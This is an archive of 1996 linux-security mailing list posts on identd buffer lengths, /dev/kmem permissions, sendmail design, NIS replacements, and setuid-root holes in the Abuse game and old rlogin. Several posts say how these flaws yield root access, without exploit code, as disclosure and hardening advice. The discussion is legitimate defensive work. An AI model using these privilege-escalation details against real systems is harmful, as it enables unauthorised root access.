majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id TAA22482; Sat, 20 Jul 1996 19:14:12 -0400 Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] about in.identd In-reply-to: Your message of "Thu, 18 Jul 1996 09:42:04 EDT." Date: Thu, 18 Jul 1996 21:44:12 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list > The rfc specifies the maximum length for ident responses is 512 bytes, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > so I don't see how machine code would do anything of any use, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > barring overflows which should not happen, since it should read no more than 512 ^^^^^^^^^^^^^^^^^^ ^^^^^^ ^^^^^^^^ > bytes, and the buffer it should read into should be atleast 512 bytes. ^^^^^^^^^^^^ ^^^^^^^^^ I rest my case. Look at the number of assumption that was made? What happens if somehow designer follows the 1st one and makes sure that 512 bytes do fit and then instead of reading 512 bytes reads until the channel is closed? If I recall correctly, the attack was described in CS-96:02. If I recall correctly pre 8.6.10 sendmail had this problem Best wishes, Alex From [email protected] Sat Jul 20 19:14:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id TAA22498; Sat, 20 Jul 1996 19:14:30 -0400 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Matt) Newsgroups: mail.linux.security Subject: Re: [linux-security] about in.identd Date: 18 Jul 1996 23:54:23 -0400 Organization: DataHaven Project +1 412 421 4516 (DHP.COM) Lines: 12 Message-ID: <[email protected]> References: X-Newsreader: TIN [version 1.2 PL2+color] Sender: [email protected] Precedence: list Brian Mitchell ([email protected]) wrote: : The rfc specifies the maximum length for ident responses is 512 bytes, so The RFC may state one thing. There are MANY, MANY, non rfc compliant programs out there....(Both ident servers and things that people create to respond to ident requests) Always remember that. You may want to check that your ident server is only returning 512 characters, but the biggest problem is that many programs that are written to parse the data from an ident response are expecting no more than 8 characters... :) -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." linux-security/linux-security.960721100664 1767 1767 7232 6174476136 16645 0ustar majdommajdomFrom [email protected] Sun Jul 21 03:58:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id DAA25452; Sun, 21 Jul 1996 03:58:16 -0400 Date: Sat, 20 Jul 1996 21:50:33 -0400 From: Prezident Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] kmem Sender: [email protected] Precedence: list Hi everybody, I just discovered that /dev/kmem is g+w by default on Slackware 3.0.0. This way all of the g can write to memory and setuid to 0. Comments, flames, suggestions? [REW: This is not the case on my slackware 3 system, but I just verified, it is like this on an install CD that I have. On most systems the group "kmem" only has read access to /dev/kmem. Note that read access to "kmem" is already enough to gain root access. No user should be in group kmem, and a few programs (like kmem-ps) should be setgid-kmem because they need to read info from the kernel.] From [email protected] Sun Jul 21 14:52:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA27231; Sun, 21 Jul 1996 14:52:12 -0400 Date: Fri, 19 Jul 1996 09:24:32 -0500 From: Jesse Pollard Message-Id: <199607191424.JAA04435@us1> To: [email protected] Subject: Re: [linux-security] sendmail security issues In-Reply-To: Mail from '[email protected]' dated: 17 Jul 1996 14:17:36 -0000 Sender: [email protected] Precedence: list rmt: >[Mod: Quoting trimmed. --Jeff.] >Wietse Venema: >>There is more to sendmail than just this: >>- access recipient's ~/.forward files and exploder :include: files > >accessing recipient's ~/.forward files would also be best handled by >a separate delivery program that runs under the user's uid. :include: >file handling is purely an abstraction and should be run under the >proper uid for whatever file it's included from. > >Wietse Venema continues: >>This is actually a recursive process. >>- execute shell commands (either in .forward, aliases or other). > >If this ever crosses uid boundaries, it should be treated as just another >mail message and go through all the standard mechanisms for handling mail >messages. Unfortunately this will waste a LOT of time: sendmail -> 0.delivery (gets 4 forwarding addresses) -> 1.sendmail to new address -> 2.sendmail to second addr -> 3.sendmail to third -> 4.sendmail to fourth. Then each sendmail must lookup a new .forward: 1.sendmail ->1.delivery (gets 2 forwarding addresses) -> 1.1.sendmail to address -> 1.2.sendmail And each of these sendmail processes must do a delivery. Guess what happens if one of these forwarded addresses includes an address of the first delivery (0.delivery). Infinite recursion. Sendmail avoids this by loading the forwarding addresses, then eliminating duplicates. At least this is when only one system is involved, two or more then the infinite recursion does happen. It is limited by the hop count so that total chaos is controlled. It can STILL happen when the delivery agent is a mail filter (such as vacation) that sends out a "I'm not here - try later" message to a user that just set vacation... (at least one message will be passed between them forever.. Each vacation message is a new message as far as can be determined by sendmail). The approach outlined is also a major performance hog. Sendmail is an intelligent (well... relatively) delivery and does analysis to reduce system overhead and avoid delivering the same message multiple times. Jesse Pollard [email protected] linux-security/linux-security.960723100664 1767 1767 7351 6175070463 16643 0ustar majdommajdomFrom [email protected] Tue Jul 23 02:28:57 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id CAA01312; Tue, 23 Jul 1996 02:28:57 -0400 Date: Mon, 22 Jul 1996 17:09:29 -0400 (EDT) From: "Eric M. Boyd" To: [email protected] Subject: [linux-security] Alternative to NIS Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Everywhere I look security wise, people say to stay away from NIS because it's very insecure, and that NIS+ isn't much better. Does anyone have any suggestions as to a replacement to use? I want to make sure my site is secure, but it's really a hassle to individually add a user to each machine, or ask a user to change their password on each machine they use. Any suggestions? [REW: NIS uses the "domainname" as a kind of password. Anybody from the whole internet who knows this can access your password file. Take care not to choose something like "my.dns.domain.name". What complicates the issue is that it is broadcast over your ethernet segment during normal operation.] Eric Boyd --------------------------------+---------------------------------------------- Eric Boyd (TSMA) | "It's easier to ask for InterDimensions Corp. | forgiveness than for permission." 25 Ellery St. | Cambridge Ma, 02138 | "640K ought to be enough for anybody." 617-661-4200 | -- Bill Gates, 1981 | [email protected] | From [email protected] Tue Jul 23 02:29:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id CAA01324; Tue, 23 Jul 1996 02:29:06 -0400 From: "Miller, Raul D." To: [email protected] Subject: Re: [linux-security] sendmail security i Date: Mon, 22 Jul 96 11:48:00 PDT Message-ID: <[email protected]> Encoding: 43 TEXT X-Mailer: Microsoft Mail V3.0 Sender: [email protected] Precedence: list Raul Miller wrote; >>If this ever crosses uid boundaries, it should be treated as just another >>mail message and go through all the standard mechanisms for handling mail >>messages. Jesse Pollard wrote: >Unfortunately this will waste a LOT of time: > sendmail -> 0.delivery (gets 4 forwarding addresses) .... > And each of these sendmail processes must do a delivery. Guess what happens >if one of these forwarded addresses includes an address of the first delivery >(0.delivery). Infinite recursion. An alternative would be to put sufficient information in the headers to detect the loop. An example of a mailer which performs at least as well as sendmail, and doesn't have sendmail's security problems exists at ftp://koobera.math.uic.edu/pub/software/ The most recent version is qmail-0.76.tar.gz It's still in beta, but several CERT announcements have gone out on sendmail (and analogous mailers, such as smail) and in each case qmail has not exhibitted the problem. (qmail is coded very defensively). The reason it's still in beta has to do with large scale deployment issues -- administration, list management, backwards compatability with (a minimal set of) sendmail features. Anyways, the point is that there's no design issue that prevents an efficient implementation of a mail transport agent which hands off mail at each uid boundary. Jesse Pollard wrote: >The approach outlined is also a major performance hog. Sendmail is an >intelligent (well... relatively) delivery and does analysis to reduce system >overhead and avoid delivering the same message multiple times. I don't think that sendmail has made the right design tradeoffs. -- Raul linux-security/linux-security.960724100664 1767 1767 51006 6175444422 16660 0ustar majdommajdomFrom [email protected] Wed Jul 24 05:17:31 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id FAA07326; Wed, 24 Jul 1996 05:17:31 -0400 Date: Tue, 23 Jul 1996 13:20:40 -0400 (EDT) From: Wayne Buttles To: [email protected] Subject: Re: [linux-security] Alternative to NIS In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 22 Jul 1996, Eric M. Boyd wrote: > Everywhere I look security wise, people say to stay away from NIS because > it's very insecure, and that NIS+ isn't much better. Does anyone have any > suggestions as to a replacement to use? Is Radius a good answer here? I have heard stories of people using it as user auth for linux accounts as well as for portmasters. Later, Wayne. From [email protected] Wed Jul 24 05:17:36 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id FAA07339; Wed, 24 Jul 1996 05:17:36 -0400 To: [email protected] Path: not-for-mail From: [email protected] (Ian Goldberg) Newsgroups: isaac.lists.linux-security Subject: Re: Fwd: [linux-security] security idea Date: 23 Jul 1996 13:44:53 -0700 Organization: ISAAC Group, UC Berkeley Lines: 31 Distribution: isaac Message-ID: <[email protected]> References: Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- In article , Cosimo Leipold wrote: >You could change some setuid programs to >exclude access for this one person. This could be done by making them >group executable and then simply having only that group execute it, but >including everyone but one user seems to be a pain. In /etc/group: lusers::6969:lightman,mitnick Your programs: -r-s---r-x 1 root lusers 9397 Aug 8 1995 /usr/bin/traceroute (Make sure your "newgrp" program doesn't drop your supplementary groups...) - Ian -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMfU5q0ZRiTErSPb1AQF44gQAn5vmKNjjvcBOJoVA0ibfFEJWyvwSRbe1 TyCJ9UGayREJrIVOdyCAj/7Y+2QjO3qgb25B3ItxuHgQXgHLmBL7nVCvtggsOs47 w/SsDOOVOaNhvF5b4DTCN2XIhnyQSpOiEnulGU4gFZlPKpFWOZhZ7Qiv/FV0j13Z SJrzbBQ9zpc= =lS7Q -----END PGP SIGNATURE----- From [email protected] Wed Jul 24 05:17:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id FAA07352; Wed, 24 Jul 1996 05:17:41 -0400 From: Miquel van Smoorenburg Message-Id: <[email protected]> Subject: Re: [linux-security] Alternative to NIS To: [email protected] (Eric M. Boyd) Date: Tue, 23 Jul 1996 21:10:59 +0200 (MET DST) Cc: [email protected] In-Reply-To: from "Eric M. Boyd" at Jul 22, 96 05:09:29 pm X-Mailer: ELM [version 2.4 PL25 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list You (Eric M. Boyd) wrote: > > [REW: NIS uses the "domainname" as a kind of password. Anybody from > the whole internet who knows this can access your password file. Take > care not to choose something like "my.dns.domain.name". What complicates > the issue is that it is broadcast over your ethernet segment during > normal operation.] Not entirely true. Every decent NIS server allows for a "securenets" file in which you can tell it which nets to trust. In our case, only the lower IP number of our local class C (1-63) will get a reply from the NIS server, all others just can't talk to it. There are some more tricks you should use, such as blocking access to the portmapper on the router and running a secure portmapper (Wietse Venema's). Mike. -- Miquel van | Cistron Internet Services -- Alphen aan den Rijn. Smoorenburg, | mailto:[email protected] http://www.cistron.nl/ [email protected] | Tel: +31-172-419445 (Voice) 430979 (Fax) 442580 (Data) From [email protected] Wed Jul 24 05:17:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id FAA07365; Wed, 24 Jul 1996 05:17:49 -0400 Date: Tue, 23 Jul 1996 11:55:51 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: [linux-security] sendmail security issues Sender: [email protected] Precedence: list Jesse Pollard: > rmt: > >Wietse Venema: > >>There is more to sendmail than just this: > >>- access recipient's ~/.forward files and exploder :include: files > >accessing recipient's ~/.forward files would also be best handled by > >a separate delivery program that runs under the user's uid. ... > ... > Unfortunately this will waste a LOT of time: Not necessarily. Once upon a time, I came upon this problem (when installing a second-source TCP/IP and sendmail on a pure Bell Labs System V VAX - that was an adventure in debugging second-source code!). Rather than risk something insecure, I had sendmail fork and exec a small "get_forwards" program just before it set its UID to be non-root. The small program ran as root, but being small, it was more verifiable than 'sendmail'. The protocol was simple: 'sendmail' sent a local logname down the pipe, and the program returned the contents of the ".forward" file, or the same name if no ".forward" file was found (or the logname didn't exist, etc.). I think - this is all from memory, as the system having that code became unavailable to me and was later trashed. In any case, the program couldn't be spoofed very easily (if at all), since it could only be run by root and it only spoke to its parent via pipe. It spent most of its time sleeping. There was only one fork, at the beginning. The pipe reads and writes were fairly cheap, and would be cheaper on the Berkelian memory pipes that I believe most systems (s5 or bsd-based) use these days. Most of you should be able to write a fairly secure version of same from these specs; I've never really needed to do that since. Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Wed Jul 24 05:17:56 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id FAA07378; Wed, 24 Jul 1996 05:17:56 -0400 Subject: Re: [linux-security] sendmail security To: [email protected] (Miller, Raul D.) Date: Tue, 23 Jul 1996 20:12:05 -0700 (PDT) Cc: [email protected] In-Reply-To: <[email protected]> from "Miller, Raul D." at "Jul 22, 96 11:48:00 am" Reply-to: [email protected] X-Mailer: ELM [version 2.4ME+ PL16 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1221 Message-Id: From: John Henders Sender: [email protected] Precedence: list Miller, Raul D. writes: > An example of a mailer which performs at least as well as sendmail, and > doesn't have sendmail's security problems exists at > ftp://koobera.math.uic.edu/pub/software/ > > The most recent version is qmail-0.76.tar.gz > > It's still in beta, but several CERT announcements have gone out on sendmail > (and analogous mailers, such as smail) and in each case qmail has not > exhibitted the problem. (qmail is coded very defensively). The reason it's > still in beta has to do with large scale deployment issues -- administration, > list management, backwards compatability with (a minimal set of) sendmail > features. Qmail is nice, but in defence of smail, I'd like to point out that smail has had _one_ cert notice since they started doing cert advisories. There was one other problem with the Slackware distribution of smail as it was configured wrong (big surprise there). Qmail appears very secure, but I don't like all the things that have been moved under the user's control. [REW: I don't believe that the number of CERT warnings is a measure for security. If company X releases patches to found problems within a week (with possible further weaknesses) and another waits for a year gathering lots of security patches together, the last one will get much less CERT warnings than the first.....] -- Artificial Intelligence stands no chance against Natural Stupidity. GAT d- -p+(--) c++++ l++ u++ t- m--- W--- !v b+++ e* s-/+ n-(?) h++ f+g+ w+++ y* From [email protected] Wed Jul 24 05:18:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id FAA07390; Wed, 24 Jul 1996 05:18:00 -0400 Date: Tue, 23 Jul 1996 18:57:50 -0400 From: Derek Atkins Message-Id: <[email protected]> To: "Eric M. Boyd" CC: [email protected] In-reply-to: "[941] in linux-security and linux-alert archive" Subject: Re: [linux-security] Alternative to NIS Sender: [email protected] Precedence: list Hi, > Everywhere I look security wise, people say to stay away from NIS because > it's very insecure, and that NIS+ isn't much better. Does anyone have any > suggestions as to a replacement to use? I want to make sure my site is > secure, but it's really a hassle to individually add a user to each > machine, or ask a user to change their password on each machine they use. > > Any suggestions? You can use Hesiod for passwd, group, etc. information and use Kerberos for password/login authentication. This provides a centralized location for both naming and authentication. When you add a new user you add them to the Hesiod maps and Kerberos; then they can log in at any machine at your site that is setup to accept Hesiod-based logins. Hesiod is a based on DNS. It provides NIS-like capabilities using the DNS protocols. you do not put an encrypted password in the Hesiod maps. Instead you use Kerberos, which is a real authentication system that uses DES. Passwords are never transmitted over the net in clear text. Alternatively, you can *just* use kerberos for authentication while still using NIS or NIS+ for naming, again removing the password field from the passwd map. This reduces a lot of the security risks when using NIS or NIS+. The actual security risk is that neither NIS (nor NIS+) provide a security authentication system; kerberos does. For more information about hesiod, contact [email protected]. For more information about kerberos, contact [email protected]. -derek PS: The MIT Student Information Processing Board (SIPB) has a version of Login for Linux which does the above; it uses Hesiod and Kerberos for logins, adding users to the local /etc/passwd while they are logged on, and removing them when they log off. It also includes AFS support, obtaining an AFS PAG and token for the user. I don't know what the distribution availability is on this program. From [email protected] Wed Jul 24 05:18:09 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id FAA07403; Wed, 24 Jul 1996 05:18:09 -0400 Message-ID: <[email protected]> Date: Mon, 22 Jul 1996 23:42:28 -0700 From: Tim Wilfong Organization: XS Communications X-Mailer: Mozilla 2.0 (X11; I; Linux 1.2.13 i586) MIME-Version: 1.0 To: [email protected] Subject: [linux-security] Security hole in Abuse game (in RedHat 2.1) X-URL: http://www.sonic.net:80/hypermail/security/ Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Here's one that I never would have thought of until it hit me! There is a security hole in the game called Abuse that is shipped in the RedHat 2.1 distrubution (others?) that allows a hacker to create an suid root shell. This game is usualy installed in /usr/lib/games/abuse. If you have it on a sensitive system, get rid of it. There is a shell script floating around that makes it fairly easy for even novice hackers to use this hole. [REW: For a secure system, you should always check if you don't have too many setuid programs lying around. At one time I tried looking for security holes in setuid programs, and it turned out that only a few were not exploitable..... Use find / -perm -4000 > /tmp/setuid.programs and see wether you find any that you'll never use. (remove them or remove just the suid bit.) I just found a set of VGA-console programs that have setuid-root bits. I don't have a VGA monitor, so I'll never run those. These are an uneccesary risk to my system. I found (there have been requests for this list in the past right?): at/cron/printing: at, crontab, lpq, lpr, lprm. passwd file: passwd, npasswd, newgrp, su, chfn, chsh, login. mail, news: mh/inc, mh/msgchk, procmail, inndstart, sendmail. vga console: zgv, koules[.svga], zapem, vga_klondike, vga_ohelll, vga_solitaire, vga_spider, tetris, sdoom, vga_connectN, vga_mines, vga_othello, abuse/keydrv. network: rcp, rlogin, rsh, traceroute, sliplogin, timedc, ping. mount: mount, umount. X: XF86_[servers], rxvt, SuperProbe, xterm, nxterm. I also found "xload", whose setuid-bit I removed. kmem-based xload implementations should've had a setgid-kmem xload, where the kmem group has read acces too /dev/kmem.] ----------------------------------------------------------------------------- Tim Wilfong ([email protected]) Local WebXS access numbers: XS Communications Santa Maria, Nipomo, Arroyo Grande, Pismo (805) 929-7220 http://www.webxs.com/ San Luis Obispo, Avila Beach [email protected] [email protected] (805) 481-7202 For questions or support, call our voice lines: Nipomo 929-7200, SLO 595-9233 ----------------------------------------------------------------------------- From [email protected] Wed Jul 24 05:18:18 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id FAA07437; Wed, 24 Jul 1996 05:18:18 -0400 From: Unix mailing list recipient Message-Id: <[email protected]> Subject: [linux-security] CERT says. To: [email protected] Date: Tue, 23 Jul 1996 12:19:55 -0700 (PDT) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 3983 Sender: [email protected] Precedence: list Gotta wonder if that growing market share is causing commercial ripples. BTW, did anyone else get that marketing survey from CERT a while back? Followup off the list. ;) -------- trimmed advisory -------- CERT(sm) Summary CS-96.04 July 23, 1996 worthwhile to make a few observations about choosing an operating system. For information on this subject, see ftp://info.cert.org/pub/tech_tips/choose_operating_sys Recent Activity and Trends 1. Linux root compromises 2. Telnetd in Linux systems -------- choose_operating_sys -------- July 23, 1996 Choosing an Operating System We receive reports of incidents from sites that use a wide variety of operating systems (OS). Because of operating-system-related difficulties these sites have experienced, we are recommending some things to consider before choosing an operating system. In-House vs. Outside Tech Support Consider these things: - Do you have in-house expertise to do necessary software maintenance if you're using freely available software? - Can you buy a product with vendor-supplied customer support? - Do you need to pay a third party for customer support? Freely-Available vs. Commercial Software If you have knowledgeable staff, you may choose to use freely available OS versions so that you can maintain or fine tune the product to meet specific requirements. You might have more confidence in the modified OS because you were responsible for making changes or closely involved in the implementation of patches or workarounds. If you know about a vulnerability and understand the problem, you may want to apply fixes immediately to the source code rather than wait for an upgrade or patch to be released through other channels. If you select freely available OS versions and don't have the resources to maintain software in-house, it's important to know that you could be placing your site at a high risk of compromise. This risk can exist because your site will not be receiving security patches on a regular basis from a vendor (or third party). In cases where intruders are exploiting a vulnerability, operating system vendors may have analyzed the vulnerability and released security patches for their operating systems. On the other hand, sites with freely available OS versions but without the expertise to develop and install patches may remain at risk from the vulnerability. If you do not have the time or expertise to modify and maintain an operating system in-house, you might choose a commercial vendor product. When you buy a commercial operating system, you can purchase a service contract to provide you with patches, upgrades, and other customer assistance. Alternatively, you could buy third-party service or select products from vendors who implement fixes and make patches publicly available. Understand Your Needs When choosing an operating system, there are many things you need to consider. Among these are - Availability of source code vs. binaries - Availability of technical expertise (internal and external) - Maintenance and/or customer support - Customer requirements and usability - Cost of software, hardware, and technical support staff Regardless of the choice you make, you should first carefully review and understand the needs of your organization or customer base in terms of resources, cost, and security risk, as well as any site-specific constraints; compare the available products and services to your needs; and then determine what product best matches your needs. Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. The CERT Coordination Center is sponsored by the Defense Advanced Research Projects Agency (DARPA). The Software Engineering Institute is sponsored by the U.S. Department of Defense. [REW: At the university we've been paying for software support for years. Of course you then have access to the patches, but that doesn't put you on a mailing list that tells you about them. Moreover you are still responsible for installing the pathes yourself. IMHO not better than with a "freely available OS".] From [email protected] Wed Jul 24 12:02:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA09399; Wed, 24 Jul 1996 12:02:25 -0400 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Re: [linux-security] Alternative to NIS To: [email protected] (Eric M. Boyd) Date: Wed, 24 Jul 1996 17:43:43 +0200 (MET DST) Cc: [email protected] In-Reply-To: from "Eric M. Boyd" at Jul 22, 96 05:09:29 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 790 Sender: [email protected] Precedence: list Eric M. Boyd: > Everywhere I look security wise, people say to stay away from NIS because > it's very insecure, and that NIS+ isn't much better. Does anyone have any > suggestions as to a replacement to use? I want to make sure my site is > secure, but it's really a hassle to individually add a user to each > machine, or ask a user to change their password on each machine they use. Here is one suggestion: use rdist to update the /etc/passwd and /etc/shadow files on each machine from the "server" machine (where users change their passwords). rdist should be run after any changes have been made, and/or periodically from a cron job. By default, rdist uses rsh to transfer files - not very secure, but it can be modified to use ssh (ftp://ftp.cs.hut.fi/pub/ssh/) instead. Marek linux-security/linux-security.960725100664 1767 1767 54034 6175761124 16666 0ustar majdommajdomFrom [email protected] Thu Jul 25 03:58:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id DAA14667; Thu, 25 Jul 1996 03:58:12 -0400 From: Alan Cox Message-Id: <[email protected]> Subject: Re: [linux-security] CERT says. To: [email protected] (Unix mailing list recipient) Date: Wed, 24 Jul 1996 13:17:11 +0100 (BST) Cc: [email protected] In-Reply-To: <[email protected]> from "Unix mailing list recipient" at Jul 23, 96 12:19:55 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > Gotta wonder if that growing market share is causing commercial > ripples. BTW, did anyone else get that marketing survey from I've already filed a formal complaint with cert about a set of inaccurate statements in that document as well as Ccing it to a few Linux vendors I know who will take offence and the *BSD crowd. If the commercial people want to make free OS's look bad then its time to play dirty and start publishing every little hole with trivial to use exploits and make people realise how _SLOW_ vendors are to fix bugs like the rsh one in solaris. Alan From [email protected] Thu Jul 25 03:58:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id DAA14680; Thu, 25 Jul 1996 03:58:16 -0400 Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] Radius In-reply-to: Your message of "Tue, 23 Jul 1996 13:20:40 EDT." Date: Wed, 24 Jul 1996 09:39:59 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list > > On Mon, 22 Jul 1996, Eric M. Boyd wrote: > > Everywhere I look security wise, people say to stay away from NIS because > > it's very insecure, and that NIS+ isn't much better. Does anyone have any > > suggestions as to a replacement to use? > > Is Radius a good answer here? I have heard stories of people using it as > user auth for linux accounts as well as for portmasters. The answer is "probably not". Unfortunately Radius like protocols provide secure authentication only if one has access to a secure link from his/her point of presense to a point of access controlled by radius. Otherwise, the link itself is vulnerable to passive attacks. Also, Radius authenticated connections are vulnerable to the active attacks where intruder wait for authentication process to be completed and then hijacks the connection. Best wishes, Alex From [email protected] Thu Jul 25 03:58:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id DAA14693; Thu, 25 Jul 1996 03:58:21 -0400 From: Chris Trown Message-Id: <[email protected]> Subject: Re: [linux-security] Alternative to NIS To: [email protected] (Wayne Buttles) Date: Wed, 24 Jul 1996 09:09:03 -0700 (PDT) Cc: [email protected] In-Reply-To: from "Wayne Buttles" at Jul 23, 96 01:20:40 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1034 Sender: [email protected] Precedence: list Wayne Buttles sez > > > On Mon, 22 Jul 1996, Eric M. Boyd wrote: > > Everywhere I look security wise, people say to stay away from NIS because > > it's very insecure, and that NIS+ isn't much better. Does anyone have any > > suggestions as to a replacement to use? > > Is Radius a good answer here? I have heard stories of people using it as > user auth for linux accounts as well as for portmasters. > Note that I have only had a quick look at it, but what about LDAP? It's really good at providing information like real names, telephone/fax numbers, etc... But it looks like it could be used. Is it even secure enough? Chris... -- ------------------------------------------------------------------------------- + Chris Trown + CSRV Monkey Suit | Fly low + + [email protected] + worn under | and avoid + + KD6EVS | '92 CBR600F2 + PROTEST! | the radar + ------------------------------------------------------------------------------- From [email protected] Thu Jul 25 03:58:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id DAA14703; Thu, 25 Jul 1996 03:58:26 -0400 From: Alan Cox Message-Id: <[email protected]> Subject: Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) To: [email protected] (Tim Wilfong) Date: Wed, 24 Jul 1996 13:15:05 +0100 (BST) Cc: [email protected] In-Reply-To: <[email protected]> from "Tim Wilfong" at Jul 22, 96 11:42:28 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > Here's one that I never would have thought of until it hit me! There is a > security hole in the game called Abuse that is shipped in the RedHat 2.1 > distrubution (others?) that allows a hacker to create an suid root shell. > > This game is usualy installed in /usr/lib/games/abuse. If you have it on a > sensitive system, get rid of it. There is a shell script floating around > that makes it fairly easy for even novice hackers to use this hole. Correct. The abuse bug is well known and a fixed abuse was put out months ago. Its in the redhat upgrades set, and noted on the redhat notes. If you are running an OS (any OS) _PLEASE_ keep up to date with vendor info. > I found (there have been requests for this list in the past right?): > network: rcp, rlogin, rsh, traceroute, sliplogin, timedc, ping. If you are running an old old setup make sure you have the 3.0.3 fixed rlogin (this is a really nasty one - the old netkit rlogin client strcpy's TERM into a fixed 2K buffer. That also applies to *BSD (just been fixed) and probably to every 'commercial' vendor who will no doubt fix it in a decade or two. Older sliplogin's also had some IFS and ENV= exploits. Alan [REW: Yes, make sure that you have the newest netkit. Allow me to ramble a little. Some systems require such high security standards, that they should upgrade every subsystem that has a "known hole". This does require effort from the administrator, which may not be worth the trouble (maybe the security requirements are such that an occasional eye on the log files is considered enough). In that situation you would occasionally upgrade your whole system and hope to get rid of most holes. I find it therefore VERY important that fixes get back to the maintainers: there is nothing more frustrating than fixing a bug and finding out that an old hole is still present..... David Holland remarks that lpr has bugs. Is that also the case in the linux version? Is LPRng or PLP beter?] From [email protected] Thu Jul 25 03:58:31 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id DAA14713; Thu, 25 Jul 1996 03:58:31 -0400 Date: Wed, 24 Jul 1996 11:52:33 +0200 Message-Id: <[email protected]> From: Benedikt Stockebrand To: [email protected] CC: [email protected] In-reply-to: ([email protected]) Subject: Re: [linux-security] Alternative to NIS Sender: [email protected] Precedence: list Eric M. Boyd wrote: | Everywhere I look security wise, people say to stay away from NIS because | it's very insecure, and that NIS+ isn't much better. Does anyone have any | suggestions as to a replacement to use? This is how I'd do it next time I'd run more than two or three machines: Keep ``master copies'' of all config files on one, well-protected ``config server'' machine. Install ssh on all machines to replace rsh/rcp/rlogin. Install rdist (make sure it uses rsh and not rdistd, so best compile it yourself) and use it to distribute copies of the master config files to the target machines. That way you'll only have to deal with the master copies on a single machine. If you generate your config files (using subst, m4 or whatever) from some host-independent templates it may be a good idea to use a makefile that takes care of running rdist as well. Using a crontab entry to distribute the files may be useful too. If you can't be sure if all machines are acutally up when you run rdist that may be a reasonable thing to do anyway. I'm currently running only my own two machines at home and haven't tried the whole thing yet. I also haven't checked if rdist really execs rsh (according to the docs it does) so please watch your steps. And maybe tell us about your experience. There's a clumsier approach using FTP to transfer PGP'ed tar files to do the same thing, but it seems way inferior in about all respects. Ben -- Benedikt (Ben) Stockebrand Runaway ping.de sysadmin Dortmund, Germany --- Never ever trust old friends --- My name and email address are not to be added to any list used for the purpose of advertising. By sending unsolicited advertisement e-mail to this address, the sender implicitly agrees to pay a DM 500 fee to the recipient for proofreading services. From [email protected] Thu Jul 25 04:00:04 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id EAA14749; Thu, 25 Jul 1996 04:00:04 -0400 